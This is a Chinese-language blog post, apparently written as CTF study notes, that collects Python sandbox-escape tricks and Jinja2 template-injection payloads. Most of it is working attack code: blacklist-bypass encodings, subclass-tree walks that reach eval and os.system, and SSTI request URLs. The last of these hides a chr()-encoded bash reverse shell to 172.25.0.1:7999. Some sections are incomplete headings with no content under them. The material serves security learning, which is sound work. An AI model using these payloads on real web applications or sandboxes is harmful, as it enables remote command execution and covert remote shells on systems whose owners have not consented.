最近恰巧同时研究了一下python沙箱逃逸和jinja2模板注入,而且模板注入使用了很多沙箱逃逸的方法,所以将python的沙箱逃逸和服务端模板注入放在一起总结。  网上的python沙箱逃逸都是关注于Python2,介于与3的不同我把所有payload都在3中实验了一遍,把部分修改成可用,不能使用的删去。

python沙箱逃逸

基础知识

沙箱:沙箱是一种按照安全策略限制程序行为的执行环境。  沙箱逃逸:就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。  简而言之就是绕过限制拿到shell。而在python环境下绕过限制当然还是要对python的各种系统函数内建函数熟悉啦,所以下面我们总结一下有用的python知识。

python知识扩展

shell执行相关

//执行shell的模块
import os, commands, platfrom, subprocess 
//执行shell的函数
os.system('ls')
os.popen('ls').read()
platform.popen('ls').read()
status,output = commands.getstatusoutput('ls')
subprocess.call(['ifconfig'],shell=True)

当然,这些模块都是需要import导入的,如果限制了导入那也百搭。

import导入相关

  1. import

  2. __import__函数

  3. importlib

  4. builtin内建函数

import

#py2.7 f = __import__('os') f = __import__("b3M=".decode('base64'))//绕过限制'os'字符串 f.system('ls') #py3.5 import codecs f = __import__(str(codecs.decode(b'b3M=','base64'),'utf-8')) f.system('ls')

importlib

#py2.7
import importlib
f = importlib.import_module('commands'))
f.getoutput('ls')

#py3.5importlib用法同2.7

builtin 我们dir(__builtins__)看一下有哪些内建函数可以使用 [图片]  还是很多的,当然也包括了eval,exec,execfile等危险函数。当然,很多沙箱会直接del __builtins__.eval这样的操作会将eval函数从内建函数删除,我们就无法直接使用eval函数了。但是1我们可以通过内建函数reload()重置builtin内建函数

#py2.7
reload(__builtins__)

#py3.5,py2.7
import imp
imp.reload(__builtins__)

如果它把reload也删了就用不了啦。

python重要的魔法函数和属性

名称 介绍
__dict__ 这个属性中存放着类的属性和方法对应的键值对,实测module也有这个属性
__class__ 返回一个实例对应的类型
__base__ 返回一个类所继承的基类
__subclasses__() 返回该类的所有子类
__mro__ python支持多重继承,在解析__init__时,定义解析顺序的是子类的__mro__属性(值是类的元组)
__slots__ 限制类动态添加属性
__getattribute__() 获取属性或方法,对模块和类都有效
__getitem__() 以索引取值或者键取值
__globals__ 返回函数所在模块命名空间中的所有变量

沙箱逃逸绕过

看了上面这么多,我们应该可以理解,沙箱逃逸就是用奇淫技巧来执行一些函数,接下来我们看看在限制下可以怎么bypass。

直接import模块

如果能直接import或者按按上面的方式import危险模块,比如os或者commands,那就应该感谢上帝了。但现在这样的情况不多了。

使用exec、execfile

&emps;我们现在已知它们是内建函数中的两个函数,假如沙箱限制了所有import的方法,不过我们可以用这两个函数直接运行/usr/lib/python2.7/os.py里的代码,那么我们就可以直接使用system函数了。

#py2.7
execfile('/usr/lib/python2.7/os.py')
exec open('/usr/lib/python2.7/os.py').read()

#py3.5
exec(compile(open('/usr/lib/python3.5/os.py').read(),'/usr/lib/python3.5/os.py','exec'))

键值被过滤&关键字或函数名被过滤

假如是限制了关键字怎么办?(比如不让输入system,popen等函数名或者字典的键值被过滤)

#time这个键值被过滤
s = "emit"
s = s [::-1]
#函数名被过滤
#py2.7
os.__getattribute__('sys'+'tem')('ls')//利用魔法函数
f = getattr(os,'flfgrz'.encode('rot13'))//利用字符串转换
os.__dict__['flfgrz'.encode('rot13')]
#py3.5
import codecs
getattr(os,codecs.encode("flfgrz",'rot13'))('ifconfig')
os.__dict__[codecs.encode("flfgrz",'rot13')]

[被过滤

使用__getitem__获取列表或者元祖的值

l = [1,2,3,4]
l[1]
l.__getitem__(1)
l.pop(1)

使用timeit

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

魔法函数

我们可以通过魔法函数回溯继承类再从子类中找到能用的函数。

py2.7
>>> ().__class__
<type 'tuple'>
>>> ().__class__.__bases__[0]
<type 'object'>
>>> ().__class__.__bases__[0].__subclasses__()[59]
<class 'warnings.catch_warnings'>
>>> ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']
<built-in function eval>

这样我们就找到eval函数了,按照同样的方法,我们还可以找到很多种payload

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['os'].system('ls')
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

__globals__

​ 其他魔法函数和内置属性在上面的表格中有列出它的作用,在这里重点理解一下__globals__会返回函数所在模块命名空间中的所有变量的键值对表示。

​ 此时,我们找到一个函数看看他的__globals__是啥。

# __init__肯定是个函数,我们就用这个试试
>>> ''.__class__.__mro__[-1].__subclasses__()[59].__init__
<unbound method catch_warnings.__init__>

# 我们看看它有哪些键值
>>> ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']

#  发现了__builtins__,再看看有啥内建函数
>>> ''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__'].keys()
['bytearray', 'IndexError', 'all', 'help', 'vars', 'SyntaxError', 'unicode', 'UnicodeDecodeError', 'memoryview', 'isinstance', 'copyright', 'NameError', 'BytesWarning', 'dict', 'input', 'oct', 'bin', 'SystemExit', 'StandardError', 'format', 'repr', 'sorted', 'False', 'RuntimeWarning', 'list', 'iter', 'reload', 'Warning', '__package__', 'round', 'dir', 'cmp', 'set', 'bytes', 'reduce', 'intern', 'issubclass', 'Ellipsis', 'EOFError', 'locals', 'BufferError', 'slice', 'FloatingPointError', 'sum', 'getattr', 'abs', 'exit', 'print', 'True', 'FutureWarning', 'ImportWarning', 'None', 'hash', 'ReferenceError', 'len', 'credits', 'frozenset', '__name__', 'ord', 'super', '_', 'TypeError', 'license', 'KeyboardInterrupt', 'UserWarning', 'filter', 'range', 'staticmethod', 'SystemError', 'BaseException', 'pow', 'RuntimeError', 'float', 'MemoryError', 'StopIteration', 'globals', 'divmod', 'enumerate', 'apply', 'LookupError', 'open', 'quit', 'basestring', 'UnicodeError', 'zip', 'hex', 'long', 'next', 'ImportError', 'chr', 'xrange', 'type', '__doc__', 'Exception', 'tuple', 'UnicodeTranslateError', 'reversed', 'UnicodeEncodeError', 'IOError', 'hasattr', 'delattr', 'setattr', 'raw_input', 'SyntaxWarning', 'compile', 'ArithmeticError', 'str', 'property', 'GeneratorExit', 'int', '__import__', 'KeyError', 'coerce', 'PendingDeprecationWarning', 'file', 'EnvironmentError', 'unichr', 'id', 'OSError', 'DeprecationWarning', 'min', 'UnicodeWarning', 'execfile', 'any', 'complex', 'bool', 'ValueError', 'NotImplemented', 'map', 'buffer', 'max', 'object', 'TabError', 'callable', 'ZeroDivisionError', 'eval', '__debug__', 'IndentationError', 'AssertionError', 'classmethod', 'UnboundLocalError', 'NotImplementedError', 'AttributeError', 'OverflowError']

# 在里面,我们发现了久违的evalfile等函数

​ 按照上面的推导,我们总能从__globals__中找到我们想要的函数。

​ 如果能使用__globals__,就使我们的沙箱逃逸方法变得简单多了,我们只要遍寻到一个类(实测只有部分类的函数有这个属性,不过概率很大),然后取它一个内置函数的__globals__就能找到__builtins__了。

索引找到current_app

get_flashed_messages

url_for

寻找可用函数

{%for c in [].__class__.__base__.__subclasses__()%}{{[c.__name__,'
']|join}}{% if c.__name__=='catch_warnings'%}{{loop.index}}{%endif%}{% endfor %}
{%for c in [].__class__.__base__.__subclasses__()%}{{[c.__name__,'
']|join}}{% if c.__name__=='catch_warnings'%}{{loop.index}}{%endif%}{% endfor %}

Payload

self.__dict__
http://127.0.0.1:5001/%7B%7B[][request['args']['class']][request['args']['base']][request['args']['subclasses']]()[153][request['args']['dict']][request['args']['init']][request['args']['globals']][request['args']['builtins']]['eval'](request['args']['payload'])%7D%7D?base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&globals=__globals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()
http://127.0.0.1:5009/%7B%7B()|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(156)|attr(request.args.init)|attr(request.args.glo+request.args.bals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.eval)(request.args.payload)%7D%7D?eval=eval&getitem=__getitem__&base=__base__&subclasses=__subclasses__&dict=__dict__&init=__init__&glo=__glo&bals=bals__&builtins=__builtins__&class=__class__&payload=__import__(%27os%27).popen(%27ls%20/%27).read()
http://127.0.0.1:5103/%7B%25set%20chr=lipsum.__globals__.__builtins__.chr%25%7D%7B%25if%20lipsum.__globals__.__builtins__.__getitem__(chr(101)+chr(118)+chr(97)+chr(108))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(99)+chr(32)+chr(34)+chr(98)+chr(97)+chr(115)+chr(104)+chr(32)+chr(45)+chr(105)+chr(32)+chr(62)+chr(38)+chr(32)+chr(47)+chr(100)+chr(101)+chr(118)+chr(47)+chr(116)+chr(99)+chr(112)+chr(47)+chr(49)+chr(55)+chr(50)+chr(46)+chr(50)+chr(53)+chr(46)+chr(48)+chr(46)+chr(49)+chr(47)+chr(55)+chr(57)+chr(57)+chr(57)+chr(32)+chr(48)+chr(62)+chr(38)+chr(49)+chr(34)+chr(39)+chr(41))%25%7D123%7B%25endif%25%7D

总结

python沙箱逃逸重点就得熟悉python,全文最难就在于如何从庞大的继承树中找到自己需要的危险函数,懂得原理我们就可以一步一步的推导,虽然不同系统不同环境我们所取的下标可能不同,但是多试试总能找到的。  这篇博客主要总结了python沙箱逃逸问题,下一篇总结一下SSTI。

参考

https://blog.csdn.net/qq_27446553/article/details/79379136 https://blog.csdn.net/wy_97/article/details/80393854 https://xz.aliyun.com/t/52#toc-11 https://www.jianshu.com/p/183581381c4f https://blog.csdn.net/qq_35078631/article/details/78504415 https://blog.csdn.net/JBlock/article/details/82938656